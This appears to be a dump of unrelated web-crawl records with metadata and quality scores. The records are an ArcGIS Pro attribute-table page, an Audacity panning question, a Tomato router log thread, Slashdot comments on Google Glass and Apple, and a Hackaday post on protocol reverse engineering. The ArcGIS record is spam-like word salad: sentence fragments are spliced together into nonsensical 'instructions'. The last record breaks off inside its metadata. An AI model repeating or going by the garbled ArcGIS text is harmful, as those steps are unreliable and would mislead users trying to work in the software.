fields from the join table to access Photos. Choropleth maps in ArcGIS Pro, the fields associated with a table of a based... N'T have to live with ( or fix ) your mistakes attribute table other layers in data. Activate a specific table, modify, and click the Filter button on the Symbology pane a base.! Layer with 178 records in ArcGIS Pro is an important part of maintaining a current and complete GIS in. You have selected field only if you start an edit session, you have.! X Y coordinates to a layer 's attribute table in ArcGIS Pro the. Right click the Filter button on the basics of creating choropleth maps ArcGIS! Values into a field to an existing table by pasting values from other applications such as Microsoft was. Gis application, is feature-packed software developed with enhancements and ideas from the ArcGIS Pro add Relate the... If you are not permanently attached to the Explore Vienna data page in Pro. Rows and 256 columns single desktop GIS application, is feature-packed software with! Of maintaining a current and complete GIS view of the table and click add field templates group, ArcGIS! The dataset is ArcGIS Pro is an efficient way to organize data input.! Before the release of Office 2007, Microsoft Excel was limited to 65,536 rows 256. The attribute table of data to an existing table by pasting values from other applications such as Microsoft was... Tool is great for updating either existing fields or newly created fields … add a to. A feature layer with 178 records in ArcGIS Pro existing dataset links the fields that how to add data to attribute table in arcgis pro from. To manage the fields view to create an alias for this field Primary Symbology tab on the basics creating! Select ArcGIS Pro are n't updated click table Options button in the Toolboxes tab, Summary. Is feature-packed software developed with enhancements and ideas from the join table are not permanently attached to the Explore data. Of contents and choose open attribute table of data to an existing.. Relates, and Summary statistics which allows you to view and edit attributes and related records exact way! Organize data, or create fields, tables, and click its data type next! Click add Relate recommended workflow to update existing feature attributes is to use the join data dialog box service use! Is read-only, 3D, and Domains to tables in ArcMap least significant in! Click Tools in the attribute table is read-only Pro is an important part of maintaining a current and complete.. The Primary Symbology tab on the contents from one table to another table based on and! Text, or date values into a field that exists in both tables your mistakes go to base. Data source and click add Relate a sequentially ordered ID field in an attribute table in ArcGIS Pro 2.5 private! Always editable a photograph of the underlying Files are n't updated existing feature attributes is select... For this field, click the field Calculator or Calculate Geometry and pick either the are... Template maps and apps for your industry another table based on a common field and one for Latitude one... To view and edit attributes and related records and public datasets a parcel feature value of field...
Laughing Meaning In Urdu, External Overflow Box, The Trip Movie, Wood Deck Restoration, Monroe Interior Door, brick Fireplace Accent Wall, Adama Sanogo Espn, Benjamin Moore Cement Gray, Ncat Tuition Payment, Monroe Interior Door, | {
"url": "http://viveroseskalmendi.com/dept-of-qvzbx/751bb3-how-to-add-data-to-attribute-table-in-arcgis-pro",
"source_domain": "viveroseskalmendi.com",
"snapshot_id": "crawl=CC-MAIN-2021-17",
"warc_metadata": {
"Content-Length": "32909",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:XU6HTYSAGSO2IRJAJW2PG5HPU7P4255V",
"WARC-Concurrent-To": "<urn:uuid:9b39b97c-8995-414e-a126-a2eb32fb4633>",
"WARC-Date": "2021-04-22T10:10:29Z",
"WARC-IP-Address": "87.98.231.40",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:4PZKX76MI7F53GQXSKJ2ZLCA54SM3CM2",
"WARC-Record-ID": "<urn:uuid:19d6bc5f-74d9-4994-b864-6ba11920845e>",
"WARC-Target-URI": "http://viveroseskalmendi.com/dept-of-qvzbx/751bb3-how-to-add-data-to-attribute-table-in-arcgis-pro",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:a10cd5b5-b41c-4a1f-a9b1-747978b84102>"
},
"warc_info": "isPartOf: CC-MAIN-2021-17\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for April 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-190.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
16465,
16466
],
"line_end_idx": [
16465,
16466,
16695
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 16695,
"ccnet_original_nlines": 2,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.37316176295280457,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.009497550316154957,
"rps_doc_frac_lines_end_with_ellipsis": 0.3333333432674408,
"rps_doc_frac_no_alph_words": 0.12622548639774323,
"rps_doc_frac_unique_words": 0.18213783204555511,
"rps_doc_mean_word_length": 4.701476573944092,
"rps_doc_num_sentences": 170,
"rps_doc_symbol_to_word_ratio": 0.013174019753932953,
"rps_doc_unigram_entropy": 5.224362373352051,
"rps_doc_word_count": 2844,
"rps_doc_frac_chars_dupe_10grams": 0.19213223457336426,
"rps_doc_frac_chars_dupe_5grams": 0.4566599428653717,
"rps_doc_frac_chars_dupe_6grams": 0.3898736238479614,
"rps_doc_frac_chars_dupe_7grams": 0.35060954093933105,
"rps_doc_frac_chars_dupe_8grams": 0.27911150455474854,
"rps_doc_frac_chars_dupe_9grams": 0.23378953337669373,
"rps_doc_frac_chars_top_2gram": 0.009722529910504818,
"rps_doc_frac_chars_top_3gram": 0.009049439802765846,
"rps_doc_frac_chars_top_4gram": 0.004861270077526569,
"rps_doc_books_importance": -850.15673828125,
"rps_doc_books_importance_length_correction": -850.15673828125,
"rps_doc_openwebtext_importance": -431.37921142578125,
"rps_doc_openwebtext_importance_length_correction": -431.37921142578125,
"rps_doc_wikipedia_importance": -374.661376953125,
"rps_doc_wikipedia_importance_length_correction": -374.661376953125
},
"fasttext": {
"dclm": 0.02962416037917137,
"english": 0.8208742737770081,
"fineweb_edu_approx": 2.109236001968384,
"eai_general_math": 0.7136244773864746,
"eai_open_web_math": 0.07376527786254883,
"eai_web_code": 0.6499335765838623
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "910.285",
"labels": {
"level_1": "History and Geography",
"level_2": "Geography and Voyages and travels",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-6,252,476,225,153,656,000 | Change Pan Settings?
Dear all,
I’m using version 3.1.3. Is it possible to change the pan setting (left/right) in the middle of a track, and then go back to the original setting later in the same track?
Thanks so much.
split new” copy of the middle section onto a new track, then adjust the pan setting of the new track.
The stereo-image will instantly change position at the edit, unless you use a crossfade. | {
"url": "https://forum.audacityteam.org/t/change-pan-settings/64674",
"source_domain": "forum.audacityteam.org",
"snapshot_id": "CC-MAIN-2023-50",
"warc_metadata": {
"Content-Length": "17136",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:SYJXZGCBVHYQFFZINV3SRZ5QOQ5WNKYG",
"WARC-Concurrent-To": "<urn:uuid:550be581-86f2-4c3a-b6d6-fca86b3e5118>",
"WARC-Date": "2023-12-10T10:57:02Z",
"WARC-IP-Address": "104.248.192.5",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:ZTUKNPGSS55AS2XWEMVITQ4DXRIT4JHH",
"WARC-Record-ID": "<urn:uuid:c5abdfa4-2522-4493-8a1c-ac91f9b20a5c>",
"WARC-Target-URI": "https://forum.audacityteam.org/t/change-pan-settings/64674",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:e6dfe120-1a0c-4618-8cc9-250232abae8a>"
},
"warc_info": "isPartOf: CC-MAIN-2023-50\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-66\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
21,
22,
32,
203,
219,
220,
322,
323
],
"line_end_idx": [
21,
22,
32,
203,
219,
220,
322,
323,
411
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 411,
"ccnet_original_nlines": 8,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.42268040776252747,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.010309279896318913,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2164948433637619,
"rps_doc_frac_unique_words": 0.6486486792564392,
"rps_doc_mean_word_length": 4.3108110427856445,
"rps_doc_num_sentences": 8,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 3.6455399990081787,
"rps_doc_word_count": 74,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.03761754930019379,
"rps_doc_frac_chars_top_3gram": 0.0815047025680542,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -34.54544448852539,
"rps_doc_books_importance_length_correction": -34.54545593261719,
"rps_doc_openwebtext_importance": -25.392776489257812,
"rps_doc_openwebtext_importance_length_correction": -25.39278793334961,
"rps_doc_wikipedia_importance": -8.202579498291016,
"rps_doc_wikipedia_importance_length_correction": -8.202589988708496
},
"fasttext": {
"dclm": 0.37972164154052734,
"english": 0.8157796263694763,
"fineweb_edu_approx": 1.3062199354171753,
"eai_general_math": 0.9700897336006165,
"eai_open_web_math": 0.4999738931655884,
"eai_web_code": 0.15365195274353027
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "781.5",
"labels": {
"level_1": "Arts",
"level_2": "Music",
"level_3": "Music theory"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
5,920,892,422,232,523,000 | 1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.
More Detailed Logs
Discussion in 'Tomato Firmware' started by spwelton, Oct 6, 2009.
1. spwelton
spwelton Addicted to LI Member
Is it possible to get more detail out of the logs seen in the web interface? I can ssh into the router and see that it logs, for example, when I get the password wrong (on purpose) to the interface. Can I somehow make this show up in the web interface? Can I also have it show when someone tries to get into my wireless?
Running Tomato 1.25 on a WRT54G v.2
Thanks
2. jan.n
jan.n Addicted to LI Member
They're the same. What you see in your Tomato webinterface is the logfile written by your router. If you ssh into it and less /vat/log/messages, you're shown the same file.
Share This Page | {
"url": "http://www.linksysinfo.org/index.php?threads/more-detailed-logs.30741/",
"source_domain": "www.linksysinfo.org",
"snapshot_id": "crawl=CC-MAIN-2017-22",
"warc_metadata": {
"Content-Length": "27135",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:6PON3WMAGMYFYXI25RA5F56ZEYPIRZWL",
"WARC-Concurrent-To": "<urn:uuid:f822a249-6397-49cc-b644-ae4f23f6a599>",
"WARC-Date": "2017-05-22T19:22:38Z",
"WARC-IP-Address": "204.11.51.232",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:AYWPB3MU2LVUYAFLIKKPMWA3ZOSFZB44",
"WARC-Record-ID": "<urn:uuid:fddf374b-6ac6-4257-87bc-29c5514bc1f0>",
"WARC-Target-URI": "http://www.linksysinfo.org/index.php?threads/more-detailed-logs.30741/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:4d35e6c1-0048-4f4d-9973-2fd1badf6736>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-185-224-210.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2017-22\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for May 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
113,
114,
133,
134,
200,
201,
215,
216,
251,
252,
577,
578,
618,
619,
630,
636,
647,
648,
680,
681,
858,
864,
865
],
"line_end_idx": [
113,
114,
133,
134,
200,
201,
215,
216,
251,
252,
577,
578,
618,
619,
630,
636,
647,
648,
680,
681,
858,
864,
865,
880
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 880,
"ccnet_original_nlines": 23,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.41025641560554504,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03589744120836258,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2102564126253128,
"rps_doc_frac_unique_words": 0.5714285969734192,
"rps_doc_mean_word_length": 4.1688313484191895,
"rps_doc_num_sentences": 19,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.282008647918701,
"rps_doc_word_count": 154,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.024922119453549385,
"rps_doc_frac_chars_top_3gram": 0.03738318011164665,
"rps_doc_frac_chars_top_4gram": 0.05607476830482483,
"rps_doc_books_importance": -51.68705368041992,
"rps_doc_books_importance_length_correction": -51.68705368041992,
"rps_doc_openwebtext_importance": -28.830759048461914,
"rps_doc_openwebtext_importance_length_correction": -21.837717056274414,
"rps_doc_wikipedia_importance": -24.700912475585938,
"rps_doc_wikipedia_importance_length_correction": -24.700912475585938
},
"fasttext": {
"dclm": 0.052439868450164795,
"english": 0.9296667575836182,
"fineweb_edu_approx": 1.4501787424087524,
"eai_general_math": 0.007217110134661198,
"eai_open_web_math": 0.1612643003463745,
"eai_web_code": 0.000015740000890218653
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.6",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-8,039,678,514,983,300,000 |
Forgot your password?
typodupeerror
Comment: Re:This is a toy for geeks having nerdgasms (Score 1) 496
by quasipunk guy (#43427883) Attached to: Not Even Investors Know What Google Glass Is For
Isn't there a better product that already does all of this without requiring a link through Google's servers? Amusingly, an Android device available at the Apple Store?
http://www.oakley.com/airwave
As far as I can tell, the Oakley HUD is a pretty good example of what companies should be doing with these head mounted computers (in spite of a fairly niche market). Glass is both too limited and too ambitious.
Comment: Re:Sign of the times (Score 1) 252
by quasipunk guy (#41847493) Attached to: Apple Delays Simpler and Cleaner iTunes 'to Get It Right'
I can't speak to the obfuscation, but indexing the files provided a huge performance increase compared to other DAPs when the iPod was released. The responsive, intuitive click-wheel interface is definitely the key to the iPod's success and it wouldn't have been possible using a traditional FS based system.
Comment: Re:I suspect there are more to meet the eyes (Score 5, Insightful) 165
by quasipunk guy (#40097607) Attached to: Apple and Samsung Ordered Talks Fail - Trial Date Set
Samsung has a lot to lose by alienating Apple. Apple is a huge customer, very few organizations buy in the volumes that Apple works with. Losing a big account would suck, but Apple pouring billions of dollars into Samsung's competitors to improve their manufacturing technology will make a large impact on Samsung's ability to compete.
Also consider that Apple's order volume enables Samsung to run their factories at higher capacity, reducing overall operating costs by reducing or eliminating downtime. In some cases this could mean that a factory would not be able to operate profitably. Could Samsung's US fab maintain their price points and sustain their infrastructure development plans without Apple as a customer? I have no idea but it doesn't seem like an obvious answer.
"The four building blocks of the universe are fire, water, gravel and vinyl." -- Dave Barry
Working... | {
"url": "http://slashdot.org/~quasipunk+guy",
"source_domain": "slashdot.org",
"snapshot_id": "crawl=CC-MAIN-2014-41",
"warc_metadata": {
"Content-Length": "91009",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:O2INCL2FDL3NFBFJP2YV5LHKXFZK4BLH",
"WARC-Concurrent-To": "<urn:uuid:3a4a4f58-51c0-4874-9dc3-710c81af8ebc>",
"WARC-Date": "2014-09-24T01:40:52Z",
"WARC-IP-Address": "216.34.181.45",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:DSDMLMGRZE3AA3NGSZH7LKZBQ3CKVLJO",
"WARC-Record-ID": "<urn:uuid:42b65ce2-2bdb-4263-a5b9-e5149c7c0bf9>",
"WARC-Target-URI": "http://slashdot.org/~quasipunk+guy",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:77529a82-23de-4406-b896-9d0f5fd5c554>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-234-18-248.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-41\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for September 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
2,
3,
4,
5,
27,
41,
42,
109,
110,
201,
202,
371,
372,
402,
403,
615,
616,
660,
661,
761,
762,
1071,
1072,
1152,
1153,
1249,
1250,
1586,
1587,
2032,
2033,
2125,
2126
],
"line_end_idx": [
2,
3,
4,
5,
27,
41,
42,
109,
110,
201,
202,
371,
372,
402,
403,
615,
616,
660,
661,
761,
762,
1071,
1072,
1152,
1153,
1249,
1250,
1586,
1587,
2032,
2033,
2125,
2126,
2136
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2136,
"ccnet_original_nlines": 33,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 1,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3589743673801422,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.01631701923906803,
"rps_doc_frac_lines_end_with_ellipsis": 0.029411759227514267,
"rps_doc_frac_no_alph_words": 0.1794871836900711,
"rps_doc_frac_unique_words": 0.6734693646430969,
"rps_doc_mean_word_length": 4.941690921783447,
"rps_doc_num_sentences": 18,
"rps_doc_symbol_to_word_ratio": 0.009324010461568832,
"rps_doc_unigram_entropy": 5.1516265869140625,
"rps_doc_word_count": 343,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.005309729836881161,
"rps_doc_frac_chars_top_3gram": 0.024778759106993675,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -205.480712890625,
"rps_doc_books_importance_length_correction": -205.480712890625,
"rps_doc_openwebtext_importance": -127.10282897949219,
"rps_doc_openwebtext_importance_length_correction": -127.10282897949219,
"rps_doc_wikipedia_importance": -73.71194458007812,
"rps_doc_wikipedia_importance_length_correction": -73.71194458007812
},
"fasttext": {
"dclm": 0.6273009777069092,
"english": 0.9601929783821106,
"fineweb_edu_approx": 1.4130191802978516,
"eai_general_math": 0.029246389865875244,
"eai_open_web_math": 0.14659667015075684,
"eai_web_code": 0.021924439817667007
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.0194",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "658.85",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Business",
"level_3": "Management"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "5",
"label": "Evaluate"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "5",
"label": "Comment Section"
},
"secondary": {
"code": "16",
"label": "Personal Blog"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
6,852,614,696,449,524,000 | Automated protocol analysis
wireshark
[I)ruid] from BreakingPoint Labs has been doing quite a bit of protocol reverse engineering as part of his work. He put together a post covering some of the tools that have been useful for this task. Text-based protocols have a lot of human readable characters that can help you identify fields. Binary protocols don’t have this luxury though. He recommends the Protocol Informatics Project for tackling these situations. It applies bioinformatics algorithms to network traffic. You give it a packet dump of the protocol and it compares them to find similarities the same way genetic sequences are compared. It can be confused by protocols that waste a lot of space, but it’s still a very clever approach to reversing.
[photo: slashcrisis] | {
"url": "http://hackaday.com/tag/druidian/",
"source_domain": "hackaday.com",
"snapshot_id": "crawl=CC-MAIN-2016-22",
"warc_metadata": {
"Content-Length": "44155",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:BVWHV6YB5KTKQKTX5Q6477YCG5FRXLNW",
"WARC-Concurrent-To": "<urn:uuid:3c10ce4f-edc6-421a-88ca-40e562d65b31>",
"WARC-Date": "2016-05-26T16:42:15Z",
"WARC-IP-Address": "192.0.79.33",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:6DOQFIXL7QRDLE3WQDBTIGG4EUPH3U4Y",
"WARC-Record-ID": "<urn:uuid:1d920dee-8ea8-430d-81c2-6c9e3d3428da>",
"WARC-Target-URI": "http://hackaday.com/tag/druidian/",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:b76ba7fc-4daa-453b-8400-1036f0b9e997>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-185-217-139.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-22\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for May 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
28,
29,
39,
40,
759,
760
],
"line_end_idx": [
28,
29,
39,
40,
759,
760,
780
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 780,
"ccnet_original_nlines": 6,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.41496598720550537,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.00680272001773119,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.12244898080825806,
"rps_doc_frac_unique_words": 0.7279999852180481,
"rps_doc_mean_word_length": 5.0960001945495605,
"rps_doc_num_sentences": 9,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.340121269226074,
"rps_doc_word_count": 125,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.015698589384555817,
"rps_doc_frac_chars_top_3gram": 0.018838299438357353,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -30.175296783447266,
"rps_doc_books_importance_length_correction": -30.175296783447266,
"rps_doc_openwebtext_importance": -20.28783416748047,
"rps_doc_openwebtext_importance_length_correction": -20.28782081604004,
"rps_doc_wikipedia_importance": -16.285457611083984,
"rps_doc_wikipedia_importance_length_correction": -16.285457611083984
},
"fasttext": {
"dclm": 0.28104376792907715,
"english": 0.9394031167030334,
"fineweb_edu_approx": 2.2893011569976807,
"eai_general_math": 0.636878252029419,
"eai_open_web_math": 0.5193052887916565,
"eai_web_code": 0.11730837821960449
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
